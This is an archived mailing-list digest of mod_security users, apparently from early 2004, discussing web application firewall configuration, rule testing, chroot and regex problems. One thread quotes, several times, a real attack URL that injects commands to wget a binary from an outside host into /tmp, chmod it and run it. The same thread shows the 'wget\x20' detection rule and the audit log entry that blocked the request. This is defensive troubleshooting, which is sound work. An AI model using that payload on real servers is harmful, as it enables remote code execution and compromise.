mod-security-users — General discussion about mod_security

[mod-security-users] mod-security resource usage?

[<deb...@sp...>]

I am trying to spec out a system to runs as a modsec appliance
providing IDS /IPS to multiple IIS websites some very heavily used

Can anyone thing be figures on process load, memory usage of 
modsecurity? 

Do people recommend apache 1.3 or 2 if 2 prefork variable or other?

thanks
Mat

Re: [mod-security-users] filter http-request trace

[<iv...@we...>]

> I have a problem with filtering the http-request TRACE. The HEAD and OPTIONS request is
> filtered correctly, but it is not possible to filter TRACE requests. Is an error in my
> config file or is it not possible to filter TRACE?

   It isn't possible at the moment. Apache handles TRACE before the request reaches
mod_security. That could possibly change in a future release, but in the meantime you can
use mod_rewrite to filter out TRACE.

Bye,
Ivan

[mod-security-users] filter http-request trace

[Jochen B. <jo...@ro...>]

Hi!

I have a problem with filtering the http-request TRACE. The HEAD and
OPTIONS request is filtered correctly, but it is not possible to filter
TRACE requests. Is an error in my config file or is it not possible to
filter TRACE?

best regards,

Jochen


My setup:

Debian GNU/Linux unstable
Apache 1.3.29
Mod-Security 1.7.5

but was also tested with:

Debian GNU/Linux stable
Apache 1.3.26
Mod-Security 1.7.1

SecFilterEngine On                                              =20
SecFilterInheritance On
SecFilterScanPOST on
SecFilterCheckURLEncoding On
SecFilterCheckUnicodeEncoding On
SecFilterForceByteRange 0 255
SecFilterDebugLog /var/log/apache/modsec_debug_log
SecFilterDebugLevel 3
SecAuditEngine On
SecAuditLog /var/log/apache/modsec_audit_log

SecFilterDefaultAction "deny,log,status:500"

SecFilter hidden
SecFilterSelective "REQUEST_METHOD" ^OPTIONS
SecFilterSelective "REQUEST_METHOD" ^TRACE
SecFilterSelective "REQUEST_METHOD" ^HEAD

[mod-security-users] FYI: mod_security in the media

[Sebastian W. <seb...@wo...>]

=2D----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I am the author of the book "Apache Webserver 2 - Installation, Konfigurati=
on,=20
Programmierung" (Apache Webserver 2 - installation, configuration,=20
programming) which will be released by Addison & Wesley in the=20
German-speaking area by the end of this month (2nd revised edition).=20

As I said to Ivan some time ago I wrote a chapter on mod_security (~30 page=
s)=20
which will be included in my book (in German, sorry!) and which contains an=
=20
in-depth description of mod_security as well as all the features provided b=
y=20
this module (including building chroot environments etc.). I hope you guys=
=20
will like it and I also would like to thank Ivan Ristic for developing this=
=20
awesome module and giving me help on writing that chapter.

Bye,
Sebastian
=20
=2D----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAQ9cad8QFWG1Rza8RAg5BAKCTyHcyCxb1ouGJPBS8I/d/wv2nXQCeNKZq
YnBE4De3hzl2ClBKKjOQevA=3D
=3D0guq
=2D----END PGP SIGNATURE-----

RE: [mod-security-users] Rule testing question

[Jim H. <jim...@rc...>]

Ivan,

Thank you very much, I thought that might be the case. I am not a html
programmer, I just wanted to stress test mod_security.  The tool is just
excellent, I threw everything Nessus could throw at it, and mod_security
handled it great.

Regards,
Jim

-----Original Message-----
From: iv...@we... [mailto:iv...@we...]=20
Sent: Monday, March 01, 2004 4:56 AM
To: me...@op...
Cc: jim...@rc...; mod...@li...
Subject: Re: [mod-security-users] Rule testing question

>> test for Apache (what I'm running).  On a few test I am receiving 500
series errors
>> (configuration error) saying 200 is required.  I saw Ivan mention =
this in
some of the
>> scripts. Can anybody point me to where I can find what 200 is?  I =
have
been googling for
>> 90 minutes and haven't stumbled upon it.
>
> http://www.rfc-editor.org/rfc/rfc2616.txt
>
> 200 =3D OK =3D The HTTP request went fine.
>
> I don't know the answer to the deeper question
> though (getting 500 when you should get 200).

   Regression tests are crafted for the Apache configuration that's
   in the root of the distribution. So getting the HTTP status 500 where
   I expect 200 probably means that you have a more restrictive
   configuration.

   Since your configuration is different, the best approach would
   be to write your own regression tests using the existing
   tests as examples.

Bye,
Ivan

Re: [mod-security-users] Rule testing question

[<iv...@we...>]

>> test for Apache (what I'm running).  On a few test I am receiving 500 series errors
>> (configuration error) saying 200 is required.  I saw Ivan mention this in some of the
>> scripts. Can anybody point me to where I can find what 200 is?  I have been googling for
>> 90 minutes and haven't stumbled upon it.
>
> http://www.rfc-editor.org/rfc/rfc2616.txt
>
> 200 = OK = The HTTP request went fine.
>
> I don't know the answer to the deeper question
> though (getting 500 when you should get 200).

   Regression tests are crafted for the Apache configuration that's
   in the root of the distribution. So getting the HTTP status 500 where
   I expect 200 probably means that you have a more restrictive
   configuration.

   Since your configuration is different, the best approach would
   be to write your own regression tests using the existing
   tests as examples.

Bye,
Ivan

Re: [mod-security-users] Rule testing question

[Ulf H. <me...@op...>]

> test for Apache (what I'm running).  On a few test I am receiving 500 series
> errors (configuration error) saying 200 is required.  I saw Ivan mention
> this in some of the scripts. Can anybody point me to where I can find what
> 200 is?  I have been googling for 90 minutes and haven't stumbled upon it.

http://www.rfc-editor.org/rfc/rfc2616.txt

200 = OK = The HTTP request went fine.

I don't know the answer to the deeper question though (getting 500 when you should get 200).

// Ulf Harnhammar
   kses - PHP HTML/XHTML filter (no XSS)
   http://sourceforge.net/projects/kses

-- 
_____________________________________________________________
Web-based SMS services available at http://www.operamail.com.
From your mailbox to local or overseas cell phones.

Powered by Outblaze

[mod-security-users] Rule testing question

[Jim H. <jim...@rc...>]

My rule testing is going thanks to Jochen's tip.  I am now having =
another
problem, I followed the documentation copy files and adding the =
regression
test for Apache (what I'm running).  On a few test I am receiving 500 =
series
errors (configuration error) saying 200 is required.  I saw Ivan mention
this in some of the scripts. Can anybody point me to where I can find =
what
200 is?  I have been googling for 90 minutes and haven't stumbled upon =
it.

Thanks in advance,

Jim

[mod-security-users] Swedish article

[Ulf H. <me...@op...>]

Hello,

I have an article on mod_security in the latest issue of the Swedish computer magazine Nätmagazin ( http://www.natmagazin.se/ ). I'll make it available online when the next issue reaches the shops.

// Ulf

-- 
_____________________________________________________________
Web-based SMS services available at http://www.operamail.com.
From your mailbox to local or overseas cell phones.

Powered by Outblaze

Re: [mod-security-users] Testing of rules, etc

[Jochen B. <jo...@ro...>]

Hi!

You can find run-test.pl in the tests directory of the mod-security
tarball. The tests directory also contains about 57 example attacks you
can use with run-test.pl.

best regards,

Jochen

> All,
>=20
> Are there scripts available anywhere to test the basic rule sets of
> mod_security? I used an aggressive Nessus test against my mod_security
> installation and it came through fine.  I was hoping there is a repositor=
y
> of scripts to validate/verify my installation.
>=20
> TIA.
> Regards,
> Jim
>=20
>=20
>=20
>=20
> -------------------------------------------------------
> SF.Net is sponsored by: Speed Start Your Linux Apps Now.
> Build and deploy apps & Web services for Linux with
> a free DVD software kit from IBM. Click Now!
> http://ads.osdn.com/?ad_id=3D1356&alloc_id=3D3438&op=3Dclick
> _______________________________________________
> mod-security-users mailing list
> mod...@li...
> https://lists.sourceforge.net/lists/listinfo/mod-security-users

[mod-security-users] Testing of rules, etc

[Jim H. <jim...@rc...>]

All,

Are there scripts available anywhere to test the basic rule sets of
mod_security? I used an aggressive Nessus test against my mod_security
installation and it came through fine.  I was hoping there is a repository
of scripts to validate/verify my installation.

TIA.
Regards,
Jim

Re: [mod-security-users] no signature for mod_security

[Ivan R. <iv...@we...>]

ta....@li... wrote:

> hello
> 
> ma question is if there isnt a server-signature entry for mod_security
> normally a loaded module shows in the server signature
> i dont have secserversignature turned on - so i think it should show its version etc
> i tried secserversignature and it workes fine ... but for me it is not a sec reasen to show my servers version
> i`m using apache2.X on windows
> running as https://erp01.svap.org

   If I understand you correctly, you want mod_security to appear in your
   server signature? If so, add this to your configuration file:

   SecServerResponseToken On

   But that's not a very good idea. You are giving the attacker more
   information, data he can use to attack you.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] no signature for mod_security

[<ta....@li...>]

hello

ma question is if there isnt a server-signature entry for mod_security
normally a loaded module shows in the server signature
i dont have secserversignature turned on - so i think it should show its version etc
i tried secserversignature and it workes fine ... but for me it is not a sec reasen to show my servers version
i`m using apache2.X on windows
running as https://erp01.svap.org

maybe somebody can help me

erp
 

Re: [mod-security-users] More problems with snort rules.

[Ivan R. <iv...@we...>]

> SecFilterSelective THE_REQUEST "/_vti_bin/_vti_aut/author\.exe" log,pass
> 
> That I am trying to push frontpage through.  However, it is neither logging,
> nor passing the request.

  It works for me.

  Perhaps you have another rule that blocks the request first. You
  can see these things in the debug log. Also, are you looking for
  a message in the error log?

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] More problems with snort rules.

[Danny S. <dsh...@al...>]

I have this rule

SecFilterSelective THE_REQUEST "/_vti_bin/_vti_aut/author\.exe" log,pass

That I am trying to push frontpage through.  However, it is neither logging,
nor passing the request.

Re: [mod-security-users] Problem with snort rules

[Ivan R. <iv...@we...>]

Danny Shurett wrote:
> I am working on getting my filters configured for a number of webservers.  I
> used a few filters I found in the snort filters that were converted.
> However, upon further investigation, it didn't yield what I was looking for.
> Here is the one I think should be tripped:
> 
> # WEB-ATTACKS wget command attempt
> SecFilter "wget\x20"

  It seems that the filter works fine in Apache 2, but not in Apache 1.
  The problem is with the escaping syntax; if you replace "\x20" with
  a simple space it works fine.

  Behaviors are probably different because two servers use two
  different regex engines (Apache 1 using something called hsregex,
  and Apache 2 using http://www.pcre.org).

  However, looking at the Apache web site, the \xHH syntax should work
  with Apache 1.x too. I'll try to find some documentation on the
  subject, or, if I fail, try to work around the problem in
  mod_security.

  Thanks for your email.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

Re: [mod-security-users] Problem with snort rules

[Danny S. <dsh...@al...>]

Yes, SecFilters are working.  If I append a /bin/ps error on the end of it,
I get an error.  Log file is also being written to.

On 2/4/04 2:53 PM, "L. Christopher Luther" <CL...@Xy...> wrote:

> Do any of the other SecFilter filters work?  And a silly question, is your
> filtering actually turned on (SecFilterEngine On)?
> 
> When I use the URL against one of my internal web servers (Apache Linux), I
> receive the following error:
> 
>>>>>>>>>>> 
> Internal Server Error
> The server encountered an internal error or misconfiguration and was unable
> to complete your request.
> 
> Please contact the server administrator, xs...@xy... and inform
> them of the time the error occurred, and anything you might have done that
> may have caused the error.
> 
> More information about this error may be available in the server error log.
> <<<<<<<<<<
> 
> And when I check the logs, I see the following (IP addresses and names
> obfuscated):  
> 
>>>>>>>>>>> 
> ========================================
> Request: x.x.x.x - - [[04/Feb/2004:14:48:25 --0500]] "GET
> /?basepath=http://w
> ww.wsar.hpg.ig.com.br/dcphp3.gif?&amp;cmd=cd%20/tmp;wget%20http://hac10.trip
> od.c
> om.br/cgi;chmod%20711%20cgi;./cgi HTTP/1.1" 500 541
> Handler: (null)
> ----------------------------------------
> GET
> /?basepath=http://www.wsar.hpg.ig.com.br/dcphp3.gif?&amp;cmd=cd%20/tmp;wget%
> 20http://hac10.tripod.com.br/cgi;chmod%20711%20cgi;./cgi HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
> application/vnd.ms-
> excel, application/msword, application/x-shockwave-flash, */*
> Accept-Language: en-us
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461;
> brip1; .
> NET CLR 1.1.4322)
> Host: mysecret
> Connection: Keep-Alive
> mod_security-message: Access denied with code 500. Pattern match "wget\x20"
> at T
> HE_REQUEST.
> mod_security-action: 500
> 
> HTTP/1.1 500 Internal Server Error
> Content-Length: 541
> Connection: close
> Content-Type: text/html; charset=iso-8859-1
> <<<<<<<<<<
> 
> So it appears that my 'SecFilter "wget\x20"' is working.
> 
> 
> - Christopher
> 
> 
> -----Original Message-----
> From: Danny Shurett [mailto:dsh...@al...]
> Sent: Wednesday, February 04, 2004 2:20 PM
> To: mod...@li...
> Subject: [mod-security-users] Problem with snort rules
> 
> 
> I am working on getting my filters configured for a number of webservers.  I
> used a few filters I found in the snort filters that were converted.
> However, upon further investigation, it didn't yield what I was looking for.
> Here is the one I think should be tripped:
> 
> # WEB-ATTACKS wget command attempt
> SecFilter "wget\x20"
> 
> Here is a real url (slightly modified) that was used to attack a server.
> 
> 
> http://someplace.com?basepath=http://www.wsar.hpg.ig.com.br/dcphp3.gif?&amp;
> cmd=cd%20/tmp;wget%20http://hac10.tripod.com.br/cgi;chmod%20711%20cgi;./cgi
> 
> 
> 
> I would have expected the wget filter above to block it.  Can anyone help
> me understand why the filter above doesn't block wget?  Am I missing the
> point?  Please be gentle.  Thanks.
> 
> 
> 
> -------------------------------------------------------
> The SF.Net email is sponsored by EclipseCon 2004
> Premiere Conference on Open Tools Development and Integration
> See the breadth of Eclipse activity. February 3-5 in Anaheim, CA.
> http://www.eclipsecon.org/osdn
> _______________________________________________
> mod-security-users mailing list
> mod...@li...
> https://lists.sourceforge.net/lists/listinfo/mod-security-users
> 
> 

RE: [mod-security-users] Problem with snort rules

[L. C. L. <CL...@Xy...>]

Do any of the other SecFilter filters work?  And a silly question, is your
filtering actually turned on (SecFilterEngine On)?  

When I use the URL against one of my internal web servers (Apache Linux), I
receive the following error:  

>>>>>>>>>>
Internal Server Error
The server encountered an internal error or misconfiguration and was unable
to complete your request.

Please contact the server administrator, xs...@xy... and inform
them of the time the error occurred, and anything you might have done that
may have caused the error.

More information about this error may be available in the server error log.
<<<<<<<<<<

And when I check the logs, I see the following (IP addresses and names
obfuscated):  

>>>>>>>>>>
========================================
Request: x.x.x.x - - [[04/Feb/2004:14:48:25 --0500]] "GET
/?basepath=http://w
ww.wsar.hpg.ig.com.br/dcphp3.gif?&amp;cmd=cd%20/tmp;wget%20http://hac10.trip
od.c
om.br/cgi;chmod%20711%20cgi;./cgi HTTP/1.1" 500 541
Handler: (null)
----------------------------------------
GET
/?basepath=http://www.wsar.hpg.ig.com.br/dcphp3.gif?&amp;cmd=cd%20/tmp;wget%
20http://hac10.tripod.com.br/cgi;chmod%20711%20cgi;./cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-
excel, application/msword, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461;
brip1; .
NET CLR 1.1.4322)
Host: mysecret
Connection: Keep-Alive
mod_security-message: Access denied with code 500. Pattern match "wget\x20"
at T
HE_REQUEST.
mod_security-action: 500

HTTP/1.1 500 Internal Server Error
Content-Length: 541
Connection: close
Content-Type: text/html; charset=iso-8859-1
<<<<<<<<<<

So it appears that my 'SecFilter "wget\x20"' is working.  


- Christopher


-----Original Message-----
From: Danny Shurett [mailto:dsh...@al...]
Sent: Wednesday, February 04, 2004 2:20 PM
To: mod...@li...
Subject: [mod-security-users] Problem with snort rules


I am working on getting my filters configured for a number of webservers.  I
used a few filters I found in the snort filters that were converted.
However, upon further investigation, it didn't yield what I was looking for.
Here is the one I think should be tripped:

# WEB-ATTACKS wget command attempt
SecFilter "wget\x20"

Here is a real url (slightly modified) that was used to attack a server.


http://someplace.com?basepath=http://www.wsar.hpg.ig.com.br/dcphp3.gif?&amp;
cmd=cd%20/tmp;wget%20http://hac10.tripod.com.br/cgi;chmod%20711%20cgi;./cgi



 I would have expected the wget filter above to block it.  Can anyone help
me understand why the filter above doesn't block wget?  Am I missing the
point?  Please be gentle.  Thanks.



-------------------------------------------------------
The SF.Net email is sponsored by EclipseCon 2004
Premiere Conference on Open Tools Development and Integration
See the breadth of Eclipse activity. February 3-5 in Anaheim, CA.
http://www.eclipsecon.org/osdn
_______________________________________________
mod-security-users mailing list
mod...@li...
https://lists.sourceforge.net/lists/listinfo/mod-security-users

[mod-security-users] Problem with snort rules

[Danny S. <dsh...@al...>]

I am working on getting my filters configured for a number of webservers.  I
used a few filters I found in the snort filters that were converted.
However, upon further investigation, it didn't yield what I was looking for.
Here is the one I think should be tripped:

# WEB-ATTACKS wget command attempt
SecFilter "wget\x20"

Here is a real url (slightly modified) that was used to attack a server.


http://someplace.com?basepath=http://www.wsar.hpg.ig.com.br/dcphp3.gif?&
cmd=cd%20/tmp;wget%20http://hac10.tripod.com.br/cgi;chmod%20711%20cgi;./cgi



 I would have expected the wget filter above to block it.  Can anyone help
me understand why the filter above doesn't block wget?  Am I missing the
point?  Please be gentle.  Thanks.

Re: [mod-security-users] SecFilterScanPOST cause a problem in forums

[Ivan R. <iv...@we...>]

noraan for hosting and design wrote:

> Hello 
> when 
> SecFilterScanPOST  On
> 
> No body can upload the new setting to his forum 
> 
> so any idea to resolve it without turn SecFilterScanPOST  Off ???

  Sure, remove the rules/configuration causing the problem.

  If you don't understand how mod_security is helping you then
  chances are that it isn't helping you at all.

  I recommend that you read the reference manual, start with
  minimal configuration and work your way up until you get
  the tightest configuration that still works for your users.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] RE: Regex Problem

[Carpenter, S. (OCTO) <Sco...@dc...>]

After much trail and error, I finally figured out to leave off the
http://test/test/com <http://test/test/com>  and only use the URI portion.

SecFilter "!testpage/[0-9]{6}/test\.jpg\?[0-1]\.[0-9]{1,20}"

Works fine.
>  -----Original Message-----
> From: 	Carpenter, Scott (OCTO)  
> Sent:	Wednesday, January 28, 2004 5:56 PM
> To:	'mod...@li...'
> Subject:	Regex Problem
> 
> I am trying to create at SecFilter rule:
> 
> SecFilter
> "!(http://test\.test\.com/testpage/[0-9]{6}/test\.jpg\?[0-1]\.[0-9]{1,20}
> <http://test\.test\.com/testpage/[0-9]{6}/test\.jpg\?[0-1]\.[0-9]{1,20}>
> )"
> 
> 
> To stop any but url's like:
> 
> http://test.test.com/testpage/200011/test.jpg?0.12679403621457513
> <http://test.test.com/testpage/200011/test.jpg?0.12679403621457513> 
> http://test.test.com/testpage/200015/test.jpg?0.7822027277630665
> <http://test.test.com/testpage/200015/test.jpg?0.7822027277630665> 
> http://test.test.com/testpage200032/test.jpg?0.21133485109517996
> <http://test.test.com/testpage200032/test.jpg?0.21133485109517996> 
> 
> My regex is working with three different regex testing tools. Am I just
> brain dead, or did I miss something?
> 
> Initial 
> Secfilter "!testpage"
> Secfilter "!jpg"
> 
> Produced the expected results, but I want to tighten it down as much as
> possible.
> 
> 
> Thanks,
> 
> Scott Carpenter
> DCERT Engineer
> City Wide Information Technology Security (CWITS)
> 222 Massachusetts Ave. N.W.
> Brock Annex
> Washington, DC 20001
> (202) 727-8784- voice
> (703) 395-0302 - cell
> sco...@dc...
> 
> 

[mod-security-users] SecFilterScanPOST cause a problem in forums

[noraan f. h. a. d. <maz...@ho...>]

Hello 
when 
SecFilterScanPOST  On

No body can upload the new setting to his forum 

so any idea to resolve it without turn SecFilterScanPOST  Off ???
 

Re: [mod-security-users] byterange, modules

[Ivan R. <iv...@we...>]

> 1. Is it (will it be) possible to have a couple of
> SecFilterForceByteRange statements? For p.e. german
> sites you have to allow almost the complete range
> (the lower one for web forms - tab, crlf, etc and
> the higher one for the special characs)? At the
> moment, I have to use a lot of SecFilterSelective
> statements instead.

  It will be. I have that planned for (goes away and
  looks at the plan) 1.9 dev, which should be available
  in about a month.


> 2. Do I need certain apache modules for some
> functions to work? Even with

  No.


> SecFilterOutputMimeTypes "(null) text/html text/plain"
> all my OUTPUT filters do not work any more. When
> uncommenting this one, they work fine.

  Send me your httpd.conf, a fragment of your mod_security
  debug log (set level to 9 first) and of the audit log (only for
  one request where you expect output scanning to work and it
  doesn't).


> I also have a
> problem with the SecServerSignature statement, both
> the proxy and the real servers have ServerTokens full
> but the server distribution is not masked.

  The debug log should help here too.


> I am currently using apache 2.0.48 compiled on my
> OpenBSD 3.4 x86 machine, running in systrace jail.

  And which version of mod_security? :)


-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] Regex Problem

[Carpenter, S. (OCTO) <Sco...@dc...>]

I am trying to create at SecFilter rule:

SecFilter
"!(http://test\.test\.com/testpage/[0-9]{6}/test\.jpg\?[0-1]\.[0-9]{1,20}
<http://test\.test\.com/testpage/[0-9]{6}/test\.jpg\?[0-1]\.[0-9]{1,20}> )"


To stop any but url's like:

http://test.test.com/testpage/200011/test.jpg?0.12679403621457513
<http://test.test.com/testpage/200011/test.jpg?0.12679403621457513> 
http://test.test.com/testpage/200015/test.jpg?0.7822027277630665
<http://test.test.com/testpage/200015/test.jpg?0.7822027277630665> 
http://test.test.com/testpage200032/test.jpg?0.21133485109517996
<http://test.test.com/testpage200032/test.jpg?0.21133485109517996> 

My regex is working with three different regex testing tools. Am I just
brain dead, or did I miss something?

Initial 
Secfilter "!testpage"
Secfilter "!jpg"

Produced the expected results, but I want to tighten it down as much as
possible.


Thanks,

Scott Carpenter
DCERT Engineer
City Wide Information Technology Security (CWITS)
222 Massachusetts Ave. N.W.
Brock Annex
Washington, DC 20001
(202) 727-8784- voice
(703) 395-0302 - cell
sco...@dc...

RE: [mod-security-users] chroot and other problems

[L. C. L. <CL...@Xy...>]

In answer to (1):  The problem is that the MySQL library functions in PHP
are configured to connect to "localhost", which means using the socket file
created by the local MySQL process.  And since the socket file is outside of
the SecChrootDir "jail", it cannot be "seen" by the PHP code.  

I too has this problem when I used SecChrootDir, and all I needed to do was
configure the PHP code on my Apache server to use "127.0.0.1" instead of
"localhost", which forces the PHP MySQL libraries to use TCP instead of the
local socket file.  

I also had to tweak the MySQL user accounts to accept connections from
"us...@lo...", which is the name that the 127.0.0.1 IP
address resolves to.  


HTH!

- Christopher


-----Original Message-----
From: Bart [mailto:ba...@so...]
Sent: Monday, January 26, 2004 2:52 AM
To: mod...@li...
Subject: [mod-security-users] chroot and other problems


1.

I chrooted apache in standard way. There was no problem.
Then I used mod_security to chroot "normal" apache I set in httpd.conf
SecChrootDir /chroot/httpd

but Apache return error
no mysql.sock in /var/lib/mysql/mysql.sock
cant write to /tmp/ ...
The file mysql.sock exists and /tmp/ has 777 rights.
Where is the problem?

2.
Can I use mail() php function with mod_security chrooted apache?
It was major problem that I decided no tto use chrooted apache

3.
Additionaly I would like to test mod_security at all without chroot
I added this config to my httpd.conf
http://cvs.sourceforge.net/viewcvs.py/*checkout*/mod-security/mod_security/h
ttpd.conf.example-full?content-type=text%2Fplain&rev=1.7
After restarting apache I cant logon with my authentication php script.
I use session().
How to resolve this.

Barti



-------------------------------------------------------
The SF.Net email is sponsored by EclipseCon 2004
Premiere Conference on Open Tools Development and Integration
See the breadth of Eclipse activity. February 3-5 in Anaheim, CA.
http://www.eclipsecon.org/osdn
_______________________________________________
mod-security-users mailing list
mod...@li...
https://lists.sourceforge.net/lists/listinfo/mod-security-users